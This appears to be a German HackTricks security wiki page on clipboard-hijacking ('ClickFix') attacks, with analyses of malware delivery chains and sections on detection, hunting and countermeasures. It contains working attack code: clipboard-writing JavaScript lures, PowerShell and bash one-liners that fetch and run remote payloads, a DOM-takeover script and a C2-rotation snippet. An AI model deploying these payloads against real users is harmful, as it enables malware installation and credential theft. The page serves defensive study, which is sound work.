Clipboard Hijacking (Pastejacking) Attacks
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
âFĂŒge niemals etwas ein, das du nicht selbst kopiert hast.â â alt, aber immer noch gĂŒltiger Rat
Ăberblick
Clipboard hijacking â auch bekannt als pastejacking â nutzt aus, dass Benutzer routinemĂ€Ăig Befehle kopieren und einfĂŒgen, ohne sie zu prĂŒfen. Eine bösartige Webseite (oder jeder JavaScript-fĂ€hige Kontext wie eine Electron- oder Desktop-Anwendung) legt programmatisch von Angreifern kontrollierten Text in die Systemzwischenablage. Opfer werden in der Regel durch sorgfĂ€ltig gestaltete Social-Engineering-Anweisungen dazu gebracht, Win + R (Run-Dialog), Win + X (Quick Access / PowerShell) zu drĂŒcken oder ein Terminal zu öffnen und den Inhalt der Zwischenablage einzufĂŒgen, wodurch sofort beliebige Befehle ausgefĂŒhrt werden.
Da keine Datei heruntergeladen und kein Anhang geöffnet wird, umgeht die Technik die meisten E-Mail- und Web-Content-Sicherheitskontrollen, die AnhĂ€nge, Makros oder direkte BefehlsausfĂŒhrung ĂŒberwachen. Der Angriff ist daher beliebt in Phishing-Kampagnen, die Commodity-Malware-Familien wie NetSupport RAT, Latrodectus loader oder Lumma Stealer ausliefern.
Erzwungene Copy-Buttons und versteckte Payloads (macOS one-liners)
Einige macOS infostealers klonen Installer-Seiten (z. B. Homebrew) und erzwingen die Verwendung eines âCopyâ-Buttons, sodass Benutzer nicht nur den sichtbaren Text markieren können. Der Zwischenablageeintrag enthĂ€lt den erwarteten Installer-Befehl plus eine angehĂ€ngte Base64-Payload (z. B. ...; echo <b64> | base64 -d | sh), sodass ein einziges EinfĂŒgen beides ausfĂŒhrt, wĂ€hrend die UI die zusĂ€tzliche Stufe verbirgt.
JavaScript Proof-of-Concept
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
}
</script>
Ăltere Kampagnen verwendeten document.execCommand('copy'), neuere verlassen sich auf die asynchrone Clipboard API (navigator.clipboard.writeText).
Der ClickFix / ClearFake Ablauf
- Ein Nutzer besucht eine typosquatted oder kompromittierte Website (z. B.
docusign.sa[.]com) - Injiziertes ClearFake JavaScript ruft eine Hilfsfunktion
unsecuredCopyToClipboard()auf, die heimlich einen Base64-codierten PowerShell-One-Liner in die Zwischenablage speichert. - HTML-Anweisungen weisen das Opfer an: âDrĂŒcken Sie Win + R, fĂŒgen Sie den Befehl ein und drĂŒcken Sie Enter, um das Problem zu beheben.â
powershell.exewird ausgefĂŒhrt und lĂ€dt ein Archiv herunter, das eine legitime ausfĂŒhrbare Datei sowie eine bösartige DLL enthĂ€lt (klassisches DLL sideloading).- Der Loader entschlĂŒsselt zusĂ€tzliche Stufen, injiziert Shellcode und installiert Persistenz (z. B. geplante Aufgabe) â und fĂŒhrt letztlich NetSupport RAT / Latrodectus / Lumma Stealer aus.
Beispiel NetSupport RAT-Chain
powershell -nop -w hidden -enc <Base64>
# â Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
jp2launcher.exe(legitimes Java WebStart) durchsucht sein Verzeichnis nachmsvcp140.dll.- Die bösartige DLL löst APIs dynamisch mit GetProcAddress auf, lÀdt zwei Binaries (
data_3.bin,data_4.bin) ĂŒber curl.exe herunter, entschlĂŒsselt sie mit einem rollierenden XOR-SchlĂŒssel âhttps://google.com/â, injiziert den finalen shellcode und entpackt client32.exe (NetSupport RAT) nachC:\ProgramData\SecurityCheck_v1\.
Latrodectus Loader
powershell -nop -enc <Base64> # Cloud Identificator: 2031
- LĂ€dt
la.txtmit curl.exe - FĂŒhrt den JScript downloader innerhalb von cscript.exe aus
- Ruft eine MSI-Payload ab â legt
libcef.dllneben einer signierten Anwendung ab â DLL sideloading â shellcode â Latrodectus.
Lumma Stealer ĂŒber MSHTA
mshta https://iplogger.co/xxxx =+\\xxx
Die mshta-Aufruf startet ein verborgenes PowerShell-Skript, das PartyContinued.exe abruft, Boat.pst (CAB) extrahiert, AutoIt3.exe ĂŒber extrac32 und Dateikonkatentation rekonstruiert und schlieĂlich ein .a3x-Skript ausfĂŒhrt, das Browser-Zugangsdaten an sumeriavgv.digital exfiltriert.
ClickFix: Clipboard â PowerShell â JS eval â Startup LNK mit rotierendem C2 (PureHVNC)
Einige ClickFix-Kampagnen ĂŒberspringen Dateidownloads vollstĂ€ndig und instruieren Opfer, einen Einzeiler einzufĂŒgen, der JavaScript ĂŒber WSH abruft und ausfĂŒhrt, sich persistent macht und den C2 tĂ€glich rotiert. Beobachtete Beispielkette:
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" PrДss EntДr
Hauptmerkmale
- Verschleierte URL wird zur Laufzeit umgedreht, um eine oberflÀchliche Inspektion zu vereiteln.
- JavaScript sorgt fĂŒr Persistenz ĂŒber eine Startup LNK (WScript/CScript) und wĂ€hlt den C2 basierend auf dem aktuellen Tag â ermöglicht schnelle Domain-Rotation.
Minimaler JS-Ausschnitt, der verwendet wird, um C2s nach Datum zu wechseln:
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
Die nÀchste Stufe setzt hÀufig einen Loader ein, der Persistenz herstellt und einen RAT (z. B. PureHVNC) nachlÀdt, oft dabei TLS an ein hardcodiertes Zertifikat pinned und den Traffic chunked.
Detection ideas specific to this variant
- Prozessbaum:
explorer.exeâpowershell.exe -câwscript.exe <temp>\a.js(odercscript.exe). - AutostartâArtefakte: LNK in
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startupinvoking WScript/CScript mit einem JSâPfad unter%TEMP%/%APPDATA%. - Registry/RunMRU und KommandozeilenâTelemetrie, die
.split('').reverse().join('')odereval(a.responseText)enthÀlt. - Wiederholt
powershell -NoProfile -NonInteractive -Command -mit groĂen stdinâPayloads, um lange Skripte ohne lange Kommandozeilen einzuspeisen. - Geplante Tasks, die anschlieĂend LOLBins wie
regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"unter einem updaterâartigen Task/Pfad (z. B.\GoogleSystem\GoogleUpdater) ausfĂŒhren.
Threat hunting
- TĂ€glich rotierende C2âHostnames und URLs mit
.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>-Pattern. - Korrelation von clipboard write events, gefolgt von Win+R paste und anschlieĂend sofortiger
powershell.exe-AusfĂŒhrung.
Blueâteams können Clipboard-, ProzessâErstellungsâ und RegistryâTelemetrie kombinieren, um PastejackingâMissbrauch zu lokalisieren:
- Windows Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRUbehĂ€lt eine Historie von Win + R-Befehlen â prĂŒfen Sie ungewöhnliche Base64-/obfuskierte EintrĂ€ge. - Security Event ID 4688 (Process Creation), wo
ParentImage==explorer.exeundNewProcessNamein {powershell.exe,wscript.exe,mshta.exe,curl.exe,cmd.exe}. - Event ID 4663 fĂŒr DateiâErstellungen unter
%LocalAppData%\Microsoft\Windows\WinX\oder temporĂ€ren Ordnern kurz vor dem verdĂ€chtigen 4688âEvent. - EDR clipboard sensors (falls vorhanden) â korrelieren Sie
Clipboard Write, gefolgt unmittelbar von einem neuen PowerShellâProzess.
IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads
Aktuelle Kampagnen massenproduzieren gefĂ€lschte CDN/BrowserâVerifizierungsseiten (âJust a momentâŠâ, IUAMâstyle), die Benutzer dazu zwingen, OSâspezifische Befehle aus ihrer clipboard in native Konsolen zu kopieren. Dadurch wird die AusfĂŒhrung aus der BrowserâSandbox heraus verlagert und funktioniert sowohl unter Windows als auch macOS.
Key traits of the builder-generated pages
- OSâErkennung via
navigator.userAgent, um Payloads anzupassen (Windows PowerShell/CMD vs. macOS Terminal). Optionale Decoys/NoâOps fĂŒr nicht unterstĂŒtzte OS, um die Illusion aufrechtzuerhalten. - Automatisches clipboardâcopy bei harmlosen UIâAktionen (Checkbox/Copy), wĂ€hrend der sichtbare Text vom clipboardâInhalt abweichen kann.
- Mobile blocking und ein Popover mit SchrittâfĂŒrâSchrittâAnweisungen: Windows â Win+RâpasteâEnter; macOS â open TerminalâpasteâEnter.
- Optionale Obfuskation und SingleâFileâInjector, um das DOM einer kompromittierten Site mit einer Tailwindâgestylten VerifizierungsâUI zu ĂŒberschreiben (keine neue DomainâRegistrierung erforderlich).
Example: clipboard mismatch + OS-aware branching
<div class="space-y-2">
<label class="inline-flex items-center space-x-2">
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
</label>
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
</div>
<script>
const ua = navigator.userAgent;
const isWin = ua.includes('Windows');
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
const shown = 'copy this: echo ok'; // benign-looking string on screen
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');
function copyReal() {
// UI shows a harmless string, but clipboard gets the real command
navigator.clipboard.writeText(real).then(()=>{
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
});
}
document.getElementById('chk').addEventListener('click', copyReal);
</script>
macOS-Persistenz beim initialen Start
- Verwende
nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 &, damit die AusfĂŒhrung nach dem SchlieĂen des Terminals fortgesetzt wird und sichtbare Artefakte reduziert werden.
In-place page takeover auf kompromittierten Seiten
<script>
(async () => {
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
document.documentElement.innerHTML = html; // overwrite DOM
const s = document.createElement('script');
s.src = 'https://cdn.tailwindcss.com'; // apply Tailwind styles
document.head.appendChild(s);
})();
</script>
Erkennungs- & hunting-Ideen speziell fĂŒr IUAMâartige Köder
- Web: Seiten, die die Clipboard API an Verifizierungs-Widgets binden; Abweichung zwischen angezeigtem Text und Clipboard-Payload;
navigator.userAgent-Branching; Tailwind + single-page replace in verdÀchtigen Kontexten. - Windows-Endpoint:
explorer.exeâpowershell.exe/cmd.exekurz nach einer Browser-Interaktion; batch/MSI-Installer, ausgefĂŒhrt aus%TEMP%. - macOS-Endpoint: Terminal/iTerm startet
bash/curl/base64 -dmitnohupin zeitlichem Zusammenhang mit Browser-Ereignissen; Hintergrundprozesse, die das SchlieĂen des Terminals ĂŒberdauern. - Korrelation von
RunMRU(Win+R)-Historie und Clipboard-Writes mit anschlieĂender Erstellung von Console-Prozessen.
Siehe auch unterstĂŒtzende Techniken
GegenmaĂnahmen
- Browser-HĂ€rtung â Zwischenablage-Schreibzugriff deaktivieren (
dom.events.asyncClipboard.clipboardItemetc.) oder eine Benutzeraktion erforderlich machen. - Sicherheitsbewusstsein â Nutzer darin schulen, sensible Befehle zu tippen oder sie zuerst in einen Texteditor einzufĂŒgen.
- PowerShell Constrained Language Mode / Execution Policy + Application Control, um beliebige One-Liner zu blockieren.
- Netzwerk-Kontrollen â ausgehende Anfragen zu bekannten pastejacking- und Malware-C2-Domains blockieren.
Verwandte Tricks
- Discord Invite Hijacking missbraucht oft denselben ClickFix-Ansatz, nachdem Benutzer in einen bösartigen Server gelockt wurden:
Referenzen
- Fix the Click: Preventing the ClickFix Attack Vector
- Pastejacking PoC â GitHub
- Check Point Research â Under the Pure Curtain: From RAT to Builder to Coder
- The ClickFix Factory: First Exposure of IUAM ClickFix Generator
- 2025, the year of the Infostealer
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


